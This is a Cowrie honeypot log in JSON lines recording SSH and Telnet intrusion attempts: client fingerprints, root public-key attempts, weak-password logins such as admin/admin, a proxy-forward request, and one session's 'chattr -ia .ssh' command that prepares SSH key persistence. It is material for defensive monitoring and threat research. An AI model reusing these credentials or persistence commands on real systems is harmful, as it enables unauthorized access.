{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.717498Z","src_ip":"45.148.10.121","session":"345e44810a97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.85.149","src_port":59972,"dst_ip":"10.17.0.5","dst_port":22,"session":"34cc37e261cb","protocol":"ssh","message":"New connection: 198.38.85.149:59972 (10.17.0.5:22) [session: 34cc37e261cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.810509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.815136Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.983171Z","src_ip":"45.148.10.121","session":"345e44810a97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:24.021997Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:24.071851Z","session":"345e44810a97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:24.160645Z","src_ip":"45.148.10.121","session":"345e44810a97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:24.164523Z","src_ip":"45.148.10.121","session":"345e44810a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:24.253358Z","src_ip":"45.148.10.121","session":"345e44810a97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35916,"dst_ip":"10.17.0.5","dst_port":23,"session":"670036faec9e","protocol":"telnet","message":"New connection: 45.58.127.90:35916 (10.17.0.5:23) [session: 670036faec9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:24.340957Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44898,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d07ccfcba3e","protocol":"telnet","message":"New connection: 147.182.143.59:44898 (159.203.135.109:23) [session: 6d07ccfcba3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.013278Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:09:fe:1a:0b:2b:35:2f:00:f0:e6:0d:db:ca:df:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEHHM9Q7gRGlv4dYR0MQ097KyLeTz2olk8lrI+0TkmrO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0e:09:fe:1a:0b:2b:35:2f:00:f0:e6:0d:db:ca:df:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.019765Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:09:fe:1a:0b:2b:35:2f:00:f0:e6:0d:db:ca:df:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEHHM9Q7gRGlv4dYR0MQ097KyLeTz2olk8lrI+0TkmrO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.023788Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:be:08:d4:08:dd:9a:1e:10:57:62:17:3d:a8:79:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/9mJt1ReWxwwz3n2lfvI13Q+ENU/Q5+4/jbcf+rHL41qj7e/PQxru8NH6GTbq8nDzuF8rLQpFv890jAaV0eO/3yi7t0nfRF+8MciB2UanQBDOfqT+LAJieittMUyMVlN45ISktqmSJw3nOLJZcP5kQouKX0z2ayPDJj+Fa7WHLrQjwtows0HcrnnUhlZviF4A/JK6npI5R9tsm3UpeW4IBz4vBNgWNOeQWWdte5Iq63g6/GegvykzrBt3m0LuUrVJFvJ3kDPvyC7MrTlgiVNJTcCrxjr+rrlPVmfEjS1DFvTqsu781krYlppMe/y40fkIN5g6Brp18h5BdKlSKFjrKpxeYqf1DWQ+brPQofFJ3FeIyI1KqZNzokuqLlQzC+1ZyyYu/NkA+WNhd8lCC9D62+S7lHZLlp2ec/ySFO/9JJNn+aHX/eEvdlSytCUompDi1j7ldg2W7KCuObhqQYW39dbUIAhVGH4dHimUfSayC31lEPjNyF7tUT+Fgz/+UHk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:be:08:d4:08:dd:9a:1e:10:57:62:17:3d:a8:79:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.232503Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:be:08:d4:08:dd:9a:1e:10:57:62:17:3d:a8:79:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/9mJt1ReWxwwz3n2lfvI13Q+ENU/Q5+4/jbcf+rHL41qj7e/PQxru8NH6GTbq8nDzuF8rLQpFv890jAaV0eO/3yi7t0nfRF+8MciB2UanQBDOfqT+LAJieittMUyMVlN45ISktqmSJw3nOLJZcP5kQouKX0z2ayPDJj+Fa7WHLrQjwtows0HcrnnUhlZviF4A/JK6npI5R9tsm3UpeW4IBz4vBNgWNOeQWWdte5Iq63g6/GegvykzrBt3m0LuUrVJFvJ3kDPvyC7MrTlgiVNJTcCrxjr+rrlPVmfEjS1DFvTqsu781krYlppMe/y40fkIN5g6Brp18h5BdKlSKFjrKpxeYqf1DWQ+brPQofFJ3FeIyI1KqZNzokuqLlQzC+1ZyyYu/NkA+WNhd8lCC9D62+S7lHZLlp2ec/ySFO/9JJNn+aHX/eEvdlSytCUompDi1j7ldg2W7KCuObhqQYW39dbUIAhVGH4dHimUfSayC31lEPjNyF7tUT+Fgz/+UHk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.236731Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:18:08:35:2b:84:cc:3f:d4:99:7f:d1:57:c3:e7:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQfzCvupZtaRbJdnis5++OzvECGOb1sBDf+GFvlJ3QBD+afWzxiaZuJupWIYVrJcsvAt1c0Lx2sVvcb7w6kWGiByq0hU5bWymNBSfuopfmbly1P5x5rAA5dW15uNkRaUF1IkxKxoe3MA/IvP81m//XjGjPEvGFefof57kftLHJnAgW2qg/T32QRC/O1KnAELFsIgIJE4cOSV2sJnIsQ1oNfBF2NQ7vBgiaeZLNWXqB52fJbezok7wVbrVg+CUzDha7HFDg8fRdEO9ZSPObFoimfdJTbU1XJjQQrivO3WQTFgS1KlWUXLtT4tCmVlfR++8umN9bTJTGh55LqiQdvduSkEMiR1PFvRLXO3/D/Hh7YVH6hErMeZBAvaxpN1ErdYF7m0jC1zcnvKCchq1uvvRten9G3C7imKfMdacps54g3OZ+KYMuf96lxxwwlJkAt79VEcjvFyA75/DwFJ0VB40ooGROKi7lycKIhaOgFMAHGaoWiXkpv18CYBrtCrNEuIk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:18:08:35:2b:84:cc:3f:d4:99:7f:d1:57:c3:e7:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.441168Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:18:08:35:2b:84:cc:3f:d4:99:7f:d1:57:c3:e7:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQfzCvupZtaRbJdnis5++OzvECGOb1sBDf+GFvlJ3QBD+afWzxiaZuJupWIYVrJcsvAt1c0Lx2sVvcb7w6kWGiByq0hU5bWymNBSfuopfmbly1P5x5rAA5dW15uNkRaUF1IkxKxoe3MA/IvP81m//XjGjPEvGFefof57kftLHJnAgW2qg/T32QRC/O1KnAELFsIgIJE4cOSV2sJnIsQ1oNfBF2NQ7vBgiaeZLNWXqB52fJbezok7wVbrVg+CUzDha7HFDg8fRdEO9ZSPObFoimfdJTbU1XJjQQrivO3WQTFgS1KlWUXLtT4tCmVlfR++8umN9bTJTGh55LqiQdvduSkEMiR1PFvRLXO3/D/Hh7YVH6hErMeZBAvaxpN1ErdYF7m0jC1zcnvKCchq1uvvRten9G3C7imKfMdacps54g3OZ+KYMuf96lxxwwlJkAt79VEcjvFyA75/DwFJ0VB40ooGROKi7lycKIhaOgFMAHGaoWiXkpv18CYBrtCrNEuIk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.446311Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:14:8d:ed:d6:30:f1:3e:e0:47:3a:71:0d:df:24:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC//94Ta59vPdN5BtvevchMuViL1iF7R5bq+oCOG8L0AV1tV7buFYWnKlUe9ESQUo/snfVTctknLo6QUoiLAE3QekEihfIfzJ2Pn+xKjDZkqZO1EdilQXtYVlCcHsIFXvXgo3j5rXmS5d76wumQebimiTwZrDYSanu8Bsq23H05J6dFsA1w2XBC3qWY5M4G1aNR5BfRlj3D5ZWzaE5j2+7RN8sBueQMaRm9eepmXMQrjUvASRQTqSLRDsiJOGotNwR5WP6RY77SLji/mPXA8Nh6C5fYrm3kFabiJoj44hNx4WM0MvXUQRJVS88UKsK/iVcRNYRwgiUhPipeDdkWdMBCk5o2iZnSuZ2eL+cI+H67uPcUj50HgrKveYn7Zm8ganXth/NpPXEX0O7IoeNom7BEyphJ9FsJdunTBH6jmxsPfw4r0g1uPXccZg1NSdfZfB3QGVNNivRslAIhC5ZO+7ccuDcQWRRBvUaK+WsEwcavEYSHzRn/QS0oSeka2cWp2glJKuFfjV4EKrzTVs43qlIP0rKGde5WfGKvh+0dVUMFaQgSrnvzxuJWWeDJB8BIhKwJ7gBWErH4AWpTnyU9x5HiSp8IXdGxgjmbqV2LnwZ5auSyZFqt90RZyjLVa/RBg3K3Zs0SlsRfpEfzGU4PNAh6Jhs06MhyIvmDsR/H9/sj1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:14:8d:ed:d6:30:f1:3e:e0:47:3a:71:0d:df:24:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.651786Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:14:8d:ed:d6:30:f1:3e:e0:47:3a:71:0d:df:24:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC//94Ta59vPdN5BtvevchMuViL1iF7R5bq+oCOG8L0AV1tV7buFYWnKlUe9ESQUo/snfVTctknLo6QUoiLAE3QekEihfIfzJ2Pn+xKjDZkqZO1EdilQXtYVlCcHsIFXvXgo3j5rXmS5d76wumQebimiTwZrDYSanu8Bsq23H05J6dFsA1w2XBC3qWY5M4G1aNR5BfRlj3D5ZWzaE5j2+7RN8sBueQMaRm9eepmXMQrjUvASRQTqSLRDsiJOGotNwR5WP6RY77SLji/mPXA8Nh6C5fYrm3kFabiJoj44hNx4WM0MvXUQRJVS88UKsK/iVcRNYRwgiUhPipeDdkWdMBCk5o2iZnSuZ2eL+cI+H67uPcUj50HgrKveYn7Zm8ganXth/NpPXEX0O7IoeNom7BEyphJ9FsJdunTBH6jmxsPfw4r0g1uPXccZg1NSdfZfB3QGVNNivRslAIhC5ZO+7ccuDcQWRRBvUaK+WsEwcavEYSHzRn/QS0oSeka2cWp2glJKuFfjV4EKrzTVs43qlIP0rKGde5WfGKvh+0dVUMFaQgSrnvzxuJWWeDJB8BIhKwJ7gBWErH4AWpTnyU9x5HiSp8IXdGxgjmbqV2LnwZ5auSyZFqt90RZyjLVa/RBg3K3Zs0SlsRfpEfzGU4PNAh6Jhs06MhyIvmDsR/H9/sj1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.656394Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:25:3f:d2:75:6b:6a:11:6a:ca:0d:18:a4:c6:cb:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC24coJ+R9xzkQZ84oh54U8J6HgmaQNcorVSOSMQE+n6PXl5g7bxu7ePNwTF6lGxpZmnDVgb4V8k8XmZOoYOysYDrb0BNTvfSGWyzx3dqWCwkZ+AKAXkuj7P8aH21fJpj3TqQ2D2P1636Haf5VxVm4uXOE6eM8Z2gvj/3J68HJ9qasYXYCq5fFxPzMaUviNfLRZ7K2WsYynHBYmnp/SoJNDu7K69/zFlXDnFuqKbpgE/Sb3nvWGyuYFE+hRPm5U8O/iIibwq/LF5H1k7phsYLRoTH/5Ww8TbfZY28BD0GDHw1kickGqol/C3ULHDu/PYrA0uA1AOSCLVrpGnAP6HVUDMKO/aKPh+XgBRFC4/+Q/8utSt8Qr04H3XhgtXAIEfJMKit57qcjzvkDCyTB+RyjsKEqy35gaqLNHVWuQ5H/vfDsn1gRqS9u14td3OefI5iOInTFQwZECMvJDDjMtx25ENm87pCD4mkQzQWFeuOvba7ghH6NJAFfYiOhN5JzgQspiQNWhZtTvN+URxno5/5jeCPfQomg7smR7aJpePNP83ciYXg6Zyq4FQhNr4XsodLMOqGS773hb+1ZtDOJ7yzYkkBwaeWb2qE84+4cAP26n1JBXr1HIRrmt+cVW//PUP18bbe47AV6j6M4xyZF1yx/KERlP/465NttuysnlEJVzaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:25:3f:d2:75:6b:6a:11:6a:ca:0d:18:a4:c6:cb:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.861814Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:25:3f:d2:75:6b:6a:11:6a:ca:0d:18:a4:c6:cb:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC24coJ+R9xzkQZ84oh54U8J6HgmaQNcorVSOSMQE+n6PXl5g7bxu7ePNwTF6lGxpZmnDVgb4V8k8XmZOoYOysYDrb0BNTvfSGWyzx3dqWCwkZ+AKAXkuj7P8aH21fJpj3TqQ2D2P1636Haf5VxVm4uXOE6eM8Z2gvj/3J68HJ9qasYXYCq5fFxPzMaUviNfLRZ7K2WsYynHBYmnp/SoJNDu7K69/zFlXDnFuqKbpgE/Sb3nvWGyuYFE+hRPm5U8O/iIibwq/LF5H1k7phsYLRoTH/5Ww8TbfZY28BD0GDHw1kickGqol/C3ULHDu/PYrA0uA1AOSCLVrpGnAP6HVUDMKO/aKPh+XgBRFC4/+Q/8utSt8Qr04H3XhgtXAIEfJMKit57qcjzvkDCyTB+RyjsKEqy35gaqLNHVWuQ5H/vfDsn1gRqS9u14td3OefI5iOInTFQwZECMvJDDjMtx25ENm87pCD4mkQzQWFeuOvba7ghH6NJAFfYiOhN5JzgQspiQNWhZtTvN+URxno5/5jeCPfQomg7smR7aJpePNP83ciYXg6Zyq4FQhNr4XsodLMOqGS773hb+1ZtDOJ7yzYkkBwaeWb2qE84+4cAP26n1JBXr1HIRrmt+cVW//PUP18bbe47AV6j6M4xyZF1yx/KERlP/465NttuysnlEJVzaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:25.866065Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:26.073370Z","src_ip":"198.38.85.149","session":"34cc37e261cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.753674268722534,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:26.672436Z","src_ip":"45.58.127.90","session":"8a958071d475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":59414,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04a99420700","protocol":"ssh","message":"New connection: 154.198.162.75:59414 (10.17.0.5:22) [session: e04a99420700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:28.711514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:28.715579Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:28.915055Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123456","message":"login attempt [oracle/abc123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:29.747822Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:30.220757Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:30.224844Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:30.229474Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:30.433374Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:30.881793Z","src_ip":"154.198.162.75","session":"e04a99420700","protocol":"ssh"}
